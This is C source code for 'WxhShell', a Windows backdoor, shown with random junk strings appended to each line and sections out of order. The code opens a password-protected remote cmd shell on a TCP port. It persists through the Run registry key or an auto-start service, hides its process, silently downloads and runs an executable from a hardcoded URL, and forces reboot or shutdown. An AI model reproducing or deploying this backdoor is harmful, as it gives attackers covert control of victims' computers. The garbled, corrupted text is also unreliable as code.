    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [|\~-6"7N|  
    else { 8|`4D 'Ln  
    closesocket(wsh); qde.;Yv9  
    ExitThread(0); ]z,W1Zs?  
    } &<-Sxjj  
    break; <5A(rDij  
    } B8:_yAv o  
  // 获取shell &'UY V>  
  case 's': { <IGQBu#ZH  
    CmdShell(wsh); 7%9Sz5z  
    closesocket(wsh); {SW}S_  
    ExitThread(0); Ym5q#f)|  
    break; { D1.  
  } T2 0dZ8{y  
  // 退出 GH![rK  
  case 'x': { b:Dr _|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )W~w72j-  
    CloseIt(wsh); ` a5$VV%J  
    break; !L+*.k:  
    } |Z<NM#1  
  // 离开 `(?E-~#'  
  case 'q': { !12W(4S5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H~1*`m  
    closesocket(wsh); -#H>kbs  
    WSACleanup(); ^ S'}RZ*>  
    exit(1); Ft>Abj,6  
    break; $6T*\(;T@A  
        } ,YJ\ $?  
  } Q_xE:#!;  
  } yw2^kk93|  
c-!rJHL`  
  // 提示信息 iK1<4)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1K&z64Q5J  
} [J0L7p*6  
  } Y!v `0z  
G:$wdT(u  
  return; w%)=`'s_  
} 6|t4\'  
BCk$FM@  
// shell模块句柄 iVzv/Lqm1  
int CmdShell(SOCKET sock) nk]jIR y^T  
{ Z +@"  
STARTUPINFO si; 2P~zYdjS  
ZeroMemory(&si,sizeof(si)); @!&\Z[",  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \ aQBzEX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]L%qfy4  
PROCESS_INFORMATION ProcessInfo; &C<B=T"I  
char cmdline[]="cmd"; |_8- 3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,2/qQD n/  
  return 0; d {a^  
} I2(5]85&]s  
~S15tZ $  
// 自身启动模式 .HF+JHIUu  
int StartFromService(void) f*7/O |Gp  
{ F_U3+J>  
typedef struct ` ZXX[&C  
{ (Kd;l &8  
  DWORD ExitStatus; dU\,>3tG  
  DWORD PebBaseAddress; s={AdQ  
  DWORD AffinityMask; hgX@?WWR  
  DWORD BasePriority;  qm&}^S  
  ULONG UniqueProcessId; gYfN ?A*`_  
  ULONG InheritedFromUniqueProcessId; v_"p)4&'  
}   PROCESS_BASIC_INFORMATION; 8MGtJ'.  
{3]g3mj  
PROCNTQSIP NtQueryInformationProcess; hWwh`Vw%  
1+v&SU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *<#jr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4:=']C  
Tk9u+;=6$  
  HANDLE             hProcess; >nkd U  
  PROCESS_BASIC_INFORMATION pbi; MQY^#N  
L"A,7@:Vd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a33}CVG-e3  
  if(NULL == hInst ) return 0; \,i9m9;y  
z;@;jQ7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  pI|Lt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uuHR!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3:7J@>  
-z./6dQ  
  if (!NtQueryInformationProcess) return 0; o {Sc  
\:]Clvc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VG^*?62  
  if(!hProcess) return 0; q3adhY9|)0  
?Ko)AP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j<>E Fd  
#ok1qT9_  
  CloseHandle(hProcess); A&rk5y;  
O7 %<(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &duWV6Acw  
if(hProcess==NULL) return 0; XYhN;U}Z  
at]=SA  
HMODULE hMod; W'u6F-$2  
char procName[255]; P% _cIR  
unsigned long cbNeeded; I?LJXo\O  
sxIvL7jl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j+"i$ln+s  
B *p`e1  
  CloseHandle(hProcess); \:9dt8(-U  
0m7ANqE[Z  
if(strstr(procName,"services")) return 1; // 以服务启动 9{@[ l!]W  
m.e+S,i  
  return 0; // 注册表启动 O-y/K2MC*  
} qZACX.Hw  
Mh"DPt9@J  
// 主模块 %yX?4T;b  
int StartWxhshell(LPSTR lpCmdLine) 'd4I/  
{ S.1\e"MfI  
  SOCKET wsl; [Hw  
BOOL val=TRUE; rXc-V},az8  
  int port=0; L|.q19b*  
  struct sockaddr_in door; iZ % KHqG  
 \B) a57  
  if(wscfg.ws_autoins) Install(); `&2~\o/  
+>h}Uz  
port=atoi(lpCmdLine); {I0b%>r=  
+?Vj}p;  
if(port<=0) port=wscfg.ws_port; g*?)o!_*  
S7]\tw_L)  
  WSADATA data; EITA[Ba B`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H6%QM}t  
b9Jah  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]Ir{9EE v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yH5^EY7rQ  
  door.sin_family = AF_INET; 5S`_q&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XG FjqZr`  
  door.sin_port = htons(port); |b" h+  
]=\vl>W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =lY6v -MBw  
closesocket(wsl); BH6)`0&2*N  
return 1; qniP`P4E  
} IZ+kw.6e  
Tlc3l}B*Z  
  if(listen(wsl,2) == INVALID_SOCKET) { CZ* #FY  
closesocket(wsl); Agt6G\ n  
return 1; Y|JC+ Ee  
} DT *'r;  
  Wxhshell(wsl); U$jw8I'.  
  WSACleanup(); FN jT?*  
Cq\1t  
return 0; !wP |t#Sc9  
=OY&;d!C  
} z{XN1'/V  
/Iht,@%E  
// 以NT服务方式启动 \1|]?ZQ\K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) aK>5r^7S  
{ OiBDI3,|+  
DWORD   status = 0; o zg%-  
  DWORD   specificError = 0xfffffff; ZslH2#   
Axp#8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b{Srd3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .x\fPjB   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  +6paM  
  serviceStatus.dwWin32ExitCode     = 0; |^!#x Tj  
  serviceStatus.dwServiceSpecificExitCode = 0; XfY~q~f8  
  serviceStatus.dwCheckPoint       = 0; EC9D.afy&  
  serviceStatus.dwWaitHint       = 0; u\LG_/UJV1  
"9F]Wv/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &q~**^;'  
  if (hServiceStatusHandle==0) return; CUJP"u>8M  
0zH^yx:ma  
status = GetLastError(); '2)c;/-E  
  if (status!=NO_ERROR) DXX(qk)6  
{ xW|^2k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7C~qAI6Eg  
    serviceStatus.dwCheckPoint       = 0; fDe4 [QQ8  
    serviceStatus.dwWaitHint       = 0; >6 p <n  
    serviceStatus.dwWin32ExitCode     = status; ~9#x/EG/  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5gP<+S#>T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X( Q*(_  
    return; % 1f, 8BM  
  } Ve/"9 ?Y_  
W5'07N^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b _Q:v&  
  serviceStatus.dwCheckPoint       = 0; C\.mv|aW~  
  serviceStatus.dwWaitHint       = 0; Jt-s6-2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -^A=U7  
} _`RzPIS^  
%Xm3m0nsv{  
// 处理NT服务事件,比如:启动、停止 VrG4wLpLs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \=n0@1Q=>  
{ O<}^`4d  
switch(fdwControl) /WIO@c  
{ Z)iRc$;  
case SERVICE_CONTROL_STOP: s=)0y$  
  serviceStatus.dwWin32ExitCode = 0; do3 BI4Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [h"#Gwb=;  
  serviceStatus.dwCheckPoint   = 0; >Hh8K<@NL  
  serviceStatus.dwWaitHint     = 0; [>`[1;aX  
  { mX@Un9k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *7`N^e  
  } @3D8TPH  
  return; e[`E-br^  
case SERVICE_CONTROL_PAUSE: @\~qXz{6J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !A R$JUnX  
  break; 6Mpbmfr  
case SERVICE_CONTROL_CONTINUE: C):RE<X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B_f0-nKP  
  break; m>po+7"b  
case SERVICE_CONTROL_INTERROGATE: M~&|-Hm  
  break; #3uBq(-Z  
}; >z=_V|^$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); re.%$D@  
} s3G\L<~mB  
= mn jIp  
// 标准应用程序主函数 m~K[+P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K?l1Gj  
{ |=OO$z;q|  
R=D\VIu,Z  
// 获取操作系统版本 mtfyhFk  
OsIsNt=GetOsVer(); to0tH^pD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %9_wDfw~  
0 O{Y Vk`  
  // 从命令行安装 !;Mh5*-  
  if(strpbrk(lpCmdLine,"iI")) Install(); ETu7G5?  
!U02>X   
  // 下载执行文件  KR  
if(wscfg.ws_downexe) { Kd_WN;l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )G(6=l*  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^V^In-[!y:  
} #=WDJ T:  
pv;c<NQ'1  
if(!OsIsNt) { S}"?#=Q.%O  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;O YwZ  
HideProc(); E(G=~>P  
StartWxhshell(lpCmdLine); ] =Js5  
} `I$qMw,@  
else ;qI5GQ {  
  if(StartFromService()) l+'1>T.I  
  // 以服务方式启动 k&nhF9Y4  
  StartServiceCtrlDispatcher(DispatchTable); Xco$ yF%  
else qa![oMKc  
  // 普通方式启动 =N,KVMxw  
  StartWxhshell(lpCmdLine); ujcS>XN,1  
`92 D]^g  
return 0; ArkFC  
} ixJUq o  
-_jV.`t  
inBd.%Yr  
kO<`RHlX=  
=========================================== mRCgKW<  
R|Ft@]  
UT [9ERS  
nf< <]iHf  
TJtW?c7  
@S~'m;  
" }iy`Ko+B"b  
zIbl[[M&  
#include <stdio.h> /,v:!*  
#include <string.h> JxQwxey{  
#include <windows.h> f{e*R#+&  
#include <winsock2.h> 7YbI|~  
#include <winsvc.h> ~H0~5v F  
#include <urlmon.h> < /y V  
D<7S P,D  
#pragma comment (lib, "Ws2_32.lib")  OU=9fw  
#pragma comment (lib, "urlmon.lib") $52Te3n  
*f8,R"]-g  
#define MAX_USER   100 // 最大客户端连接数 C!w@Naj  
#define BUF_SOCK   200 // sock buffer T4 SByX9  
#define KEY_BUFF   255 // 输入 buffer "xdJ9Z-B  
^&uWAQohL  
#define REBOOT     0   // 重启 3w )S=4lB  
#define SHUTDOWN   1   // 关机 i:#R U^R  
BO\l>\)Ir  
#define DEF_PORT   5000 // 监听端口 :Puv8[1i  
"sFdrXJ  
#define REG_LEN     16   // 注册表键长度 Fc}wu W  
#define SVC_LEN     80   // NT服务名长度 2W pe( \(  
%9mCgHQ9  
// 从dll定义API :0T]p"y4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?HIc=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `n-e.{O((  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^J>28Q\S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~E^EF{h   
gx[#@ (  
// wxhshell配置信息 p)ZlQ.d#Y  
struct WSCFG { ?l,i(I  
  int ws_port;         // 监听端口 +bm2vIh$  
  char ws_passstr[REG_LEN]; // 口令 f.jAJ; N>  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6o;lTOes  
  char ws_regname[REG_LEN]; // 注册表键名 ]CC= \ <  
  char ws_svcname[REG_LEN]; // 服务名 7\ff=L-b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }VR&*UJE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M _U$I7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BHj]w*Ov  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dab>@z4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" },a|WL3^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `M>{43dj  
H@IX$+;z  
}; n2#uH  
~73"AWlp  
// default Wxhshell configuration q){]fp.,@  
struct WSCFG wscfg={DEF_PORT, 81W})q8  
    "xuhuanlingzhe", 4BEVG&Ks  
    1, >K\ 79<x|  
    "Wxhshell", Q,\lS  
    "Wxhshell", KvilGh10  
            "WxhShell Service", 8gC(N3/E"  
    "Wrsky Windows CmdShell Service", MPzqw)_-v  
    "Please Input Your Password: ", ZuS+p0H"  
  1, 2L<TqC{,-  
  "http://www.wrsky.com/wxhshell.exe", ]VJcV.7`  
  "Wxhshell.exe" 4 d]  
    }; 6%S>~L66  
aDZLabRu  
// 消息定义模块 ^J% w[FE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; flLmZ1"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q/OraPAB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UjKHGsDi4  
char *msg_ws_ext="\n\rExit."; He!0&B\7h  
char *msg_ws_end="\n\rQuit."; Xkv>@7ec  
char *msg_ws_boot="\n\rReboot..."; #gN{8Yk>  
char *msg_ws_poff="\n\rShutdown..."; ]Vwky]d  
char *msg_ws_down="\n\rSave to "; G|O"Kv6  
W>@%d`>o5  
char *msg_ws_err="\n\rErr!"; L0&!Qct  
char *msg_ws_ok="\n\rOK!"; V$v;lvt^Uq  
M2xUs  
char ExeFile[MAX_PATH]; bkOm/8k|4  
int nUser = 0; 5 #kvb$97  
HANDLE handles[MAX_USER]; !d(!1fC  
int OsIsNt; g<.8iW 'c  
tb=L+WAIw  
SERVICE_STATUS       serviceStatus; D[-Ct  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +H<%)Lk J  
T!a8c<'V  
// 函数声明 +^69>L2V  
int Install(void); V GvOwd)E  
int Uninstall(void); G,"$Erx  
int DownloadFile(char *sURL, SOCKET wsh); V)(pe #P  
int Boot(int flag); w@:o:yLS  
void HideProc(void); )d.7xY7!  
int GetOsVer(void); -x_iqrB  
int Wxhshell(SOCKET wsl); ))KsQJ"V  
void TalkWithClient(void *cs); Z#J{tXZc  
int CmdShell(SOCKET sock); ' xi..  
int StartFromService(void); '6WDs]\  
int StartWxhshell(LPSTR lpCmdLine); Ck^=H  
1$Hf`h2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (u'/tNGS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wUV%NZB  
LB{a&I LG  
// 数据结构和表定义 8 Zj>|u  
SERVICE_TABLE_ENTRY DispatchTable[] = 73<iK]*c  
{ ',&MYm\  
{wscfg.ws_svcname, NTServiceMain}, !<X_XA  
{NULL, NULL} ?,8b-U#A1  
}; ah<f&2f  
blPC"3}3Vd  
// 自我安装 Ol-'2l  
int Install(void) h">X!I  
{ fzio8m KVX  
  char svExeFile[MAX_PATH]; uBMNkN8  
  HKEY key; cXCczqabv  
  strcpy(svExeFile,ExeFile); v*^2[pf  
5g5pzww  
// 如果是win9x系统,修改注册表设为自启动 ,pG63&?j  
if(!OsIsNt) { '#Fh J%x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U92hv~\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #62ww-E~  
  RegCloseKey(key); T a[74;VO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @"EX%v.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;yXnPAtJ  
  RegCloseKey(key); <?7~,#AK  
  return 0; X'F$K!o*,:  
    } o{Ep/O`  
  } uJ y@  
} $Yxy(7d7w  
else { )/pPY  
5(|ud)v  
// 如果是NT以上系统,安装为系统服务 HWU{521  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZT8j9zs  
if (schSCManager!=0) mT9\%5d3  
{ 68>zO %  
  SC_HANDLE schService = CreateService t&uHn5  
  ( lKwcT!Q4  
  schSCManager, >k jJq]A2  
  wscfg.ws_svcname, CyU>S}t  
  wscfg.ws_svcdisp, "|%fA E  
  SERVICE_ALL_ACCESS, E4.IS =4S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UmuFzw^  
  SERVICE_AUTO_START, fh 3 6  
  SERVICE_ERROR_NORMAL, O^$Zz<  
  svExeFile, m{yON&y  
  NULL, .WPqK >79|  
  NULL, Bx)&MYY}[[  
  NULL, 4%7*tVG  
  NULL, -XyuA:pxx  
  NULL H}~^,B2;  
  ); OE"Bb   
  if (schService!=0) *Wau7  
  {  M:$nL  
  CloseServiceHandle(schService); Og npzN  
  CloseServiceHandle(schSCManager); K!~ ](_W!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <>oW f  
  strcat(svExeFile,wscfg.ws_svcname); iau&k `b`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z}C%%2Iz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `7A@\Ha3  
  RegCloseKey(key); F&~vD  
  return 0; pk4&-iu9  
    } Jp#cFUa t  
  } `QF|> N  
  CloseServiceHandle(schSCManager); gD\}CxtG  
} DIAP2LR ?  
} 7q=0]Hrg(D  
19t*THgq  
return 1; c%!wKoD  
} |{K:.x#^  
8gxLL59  
// 自我卸载 q}i87a;m  
int Uninstall(void) y^rg%RV  
{ #*/h*GNMs  
  HKEY key; Z#O3s:`  
?0a 0 R  
if(!OsIsNt) { -*2X YTe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %R>S"  
  RegDeleteValue(key,wscfg.ws_regname); (ce NVo&  
  RegCloseKey(key); zJ`(LnV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xW4+)F5P(  
  RegDeleteValue(key,wscfg.ws_regname); A'8K^,<  
  RegCloseKey(key); mg(56)  
  return 0; k]iS3+nD  
  } ~=ktFuEa  
} #VE$C3<  
} {  9$Q|XK  
else { O2dgdtm  
:bDA<B6bb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S/;Y4o  
if (schSCManager!=0) 4vS!99v)  
{ vBx^zDe  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =;=V4nKN  
  if (schService!=0) E}=NZqOB!  
  { O;BPd:<  
  if(DeleteService(schService)!=0) { a)Ek~{9  
  CloseServiceHandle(schService); I>#ChV)(#  
  CloseServiceHandle(schSCManager); <UdD@(iZ#  
  return 0; ~S!kn1&O  
  } `qz5rPyZ  
  CloseServiceHandle(schService); {eEWfMKIn  
  } GcCs}(eo  
  CloseServiceHandle(schSCManager); _'U?!  
} pQ{t< >  
} w"iZn  
uLljM{ I  
return 1; C>dJ:.K%H  
} E 5{)d~q  
Dt.Wb&V_w  
// 从指定url下载文件 / nFw  
int DownloadFile(char *sURL, SOCKET wsh) X)OP316yx  
{ Qu_T&  
  HRESULT hr; <1BK 5%?  
char seps[]= "/"; o7XRa]O  
char *token; #U D  
char *file; qu+2..3  
char myURL[MAX_PATH]; vP?S0>gh  
char myFILE[MAX_PATH]; YO0x68  
Ue:T3jp 3%  
strcpy(myURL,sURL); `kSCH; mwP  
  token=strtok(myURL,seps); Xy<f_  
  while(token!=NULL) t|QMS M?s  
  { oZ:F3 GQ4Q  
    file=token; ueBoSZRWX  
  token=strtok(NULL,seps); 4>C=:w  
  } E}/|Lja  
.G~5F- 8'  
GetCurrentDirectory(MAX_PATH,myFILE); 'LLx$y.Ei[  
strcat(myFILE, "\\"); #%"TU,[+  
strcat(myFILE, file); 5q`)jd!*)  
  send(wsh,myFILE,strlen(myFILE),0); *+4iBpyiB  
send(wsh,"...",3,0); r.^X>?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "]Dzc[Vp  
  if(hr==S_OK) F$ p*G][  
return 0; z.HNb$;  
else _ D}b  
return 1; ldvxYq<:  
K0=E4>z,`q  
} Jjh!/pWZ4  
&"%|`gE  
// 系统电源模块 6G$tYfX  
int Boot(int flag) xH#a|iT?(  
{ wg_CI,Kq  
  HANDLE hToken; g*r;( H>e  
  TOKEN_PRIVILEGES tkp; =e-aZ0P  
3#9r4;&  
  if(OsIsNt) { @~G`~8   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HCkqh4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $!!=fFX*y  
    tkp.PrivilegeCount = 1; [<a%\:c m4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aEdJri  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >/kG5]zxY  
if(flag==REBOOT) { %]$p ^m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n12c075  
  return 0; P\6T4s  
} ^GaPpm  
else { ~.`r(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ny7=-]N4{"  
  return 0; T KL(97)<  
} [mzF)/[_2  
  } Le:mMd= G  
  else { <L ( =  
if(flag==REBOOT) { y"L`bl A9}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O[p^lr(B7  
  return 0; 0+y~RTAVB  
} D)7$M]d%  
else { 0QH3,Ps1C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MXJ9,U{<C'  
  return 0; P^m 6di  
} 02#Iip3t  
} L{%a4 Ip  
C|;Mhe'r=  
return 1; FDs^S)B  
} jTUf4&b-  
_JIUds5  
// win9x进程隐藏模块 4yZ+,hqJ<9  
void HideProc(void) l%U_iqL&  
{ %R*vSRG/U  
jP.b oj_u*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9`n) "r  
  if ( hKernel != NULL ) S@zkoj@  
  { {2gd4[:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -Dq:Y,%q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =/QU$[7X(  
    FreeLibrary(hKernel); -hFyqIJW  
  } (s@tU>4U  
! }?jCpp  
return; x`6^+>y^  
} Sc$8tLDLj  
-@V"i~g<e  
// 获取操作系统版本 FO>(QLlH  
int GetOsVer(void) mS~ ]I$  
{ KP d C9H  
  OSVERSIONINFO winfo; "zIq)PY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D62 NU  
  GetVersionEx(&winfo); <6O _t,K]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >aC\_Mc  
  return 1; ZWhmO=b!  
  else tvH\iS#V  
  return 0; D<3V#Opw  
} ie~fQ!rf  
V;hwAQbF  
// 客户端句柄模块 [H:GKhPC`  
int Wxhshell(SOCKET wsl) sqpOS!]  
{ , 64t  
  SOCKET wsh; ]baaOD$Z  
  struct sockaddr_in client; ]F* a PV  
  DWORD myID; m_Ac/ct f  
Ao,!z  
  while(nUser<MAX_USER) O][Nl^dl  
{ Li-(p"  
  int nSize=sizeof(client); C| L^Ds0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $7DcQ b9  
  if(wsh==INVALID_SOCKET) return 1; $n#Bi.A j  
%::deV7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kAB+28A  
if(handles[nUser]==0) *xo;pe)9  
  closesocket(wsh); 'tu@`7*  
else /sT ^lf=  
  nUser++; Am4^v?q  
  } 1S(\2{Ylo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %w8GGm8^/  
9ze|s^  
  return 0; oS#'u 1k  
} {pb9UUP2  
5%Oyvt]}2  
// 关闭 socket d=Df.H+3  
void CloseIt(SOCKET wsh) jWK@NXMH  
{ ,s><kHJ  
closesocket(wsh); GKyG #Fl  
nUser--; qQxA@kdd  
ExitThread(0); V@ _-H gg  
} (e8G (  
]Q4PbW  
// 客户端请求句柄 lTr*'fX  
void TalkWithClient(void *cs) a\{1UD  
{ P wB g  
8L -4}!~C  
  SOCKET wsh=(SOCKET)cs; "<w2v'6S  
  char pwd[SVC_LEN]; M. )}e7  
  char cmd[KEY_BUFF]; ^6a S]t  
char chr[1]; h^A3 0f_x  
int i,j; pFJQ7Jlx  
! FR%QGn1  
  while (nUser < MAX_USER) { x9)aBB  
Ob8B  
if(wscfg.ws_passstr) { sCF40AoY&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zgg'9E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  gmRT1T  
  //ZeroMemory(pwd,KEY_BUFF); Jh43)#G-  
      i=0; 2sqm7th  
  while(i<SVC_LEN) { bbNU\r5%  
]dHB}  
  // 设置超时 &v$,pg%-:  
  fd_set FdRead; Lvi[*une|  
  struct timeval TimeOut; I%9bPQ  
  FD_ZERO(&FdRead); (rr}Pv%yb  
  FD_SET(wsh,&FdRead); Gg9VS&VI  
  TimeOut.tv_sec=8; j1puB  
  TimeOut.tv_usec=0; -Aa]aDAz68  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WDE e$k4.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !.3R~0b  
% Cu.u)/+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WGh. ;-  
  pwd=chr[0]; wy{\/?~c  
  if(chr[0]==0xd || chr[0]==0xa) { )d +hZ'  
  pwd=0; 6X7s 4  
  break; I(]BMMj  
  } T~%H%O(F  
  i++; IX<r5!  
    } ~^I\crx,U%  
#M5_em4kN  
  // 如果是非法用户,关闭 socket i s L{9^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {[2tG U9  
} J]}FC{CD!  
2yln7[a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6ORY`Pe7P|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *me,(C  
xMD rE?  
while(1) { *O@sh  
}iilzE4oH#  
  ZeroMemory(cmd,KEY_BUFF); "v(G7*2  
U_}7d"<| ?  
      // 自动支持客户端 telnet标准   B(j02<-  
  j=0; 8FzHNG  
  while(j<KEY_BUFF) { ~->Hlxze'K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _i3i HR?  
  cmd[j]=chr[0]; tu\mFHvlg  
  if(chr[0]==0xa || chr[0]==0xd) { %won=TG8  
  cmd[j]=0; LBiowd[  
  break; lDW!Fg  
  } Ue(r} *  
  j++; vd}*_d  
    } GS\%mPZ  
Yd' H+r5b  
  // 下载文件 ajn-KG!A  
  if(strstr(cmd,"http://")) { }A{_L6qx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F =XF]  
  if(DownloadFile(cmd,wsh)) "7Eo>g   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R? O-x9  
  else 8HMo.*Ti9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GR,J0LT   
  } ]o-Fi$h!  
  else { T yU&QXb  
q0&Wk"X%rr  
    switch(cmd[0]) { /7bw: h;  
  ht?CH Uu  
  // 帮助 n0_B(997*  
  case '?': { : *ERRSL)  
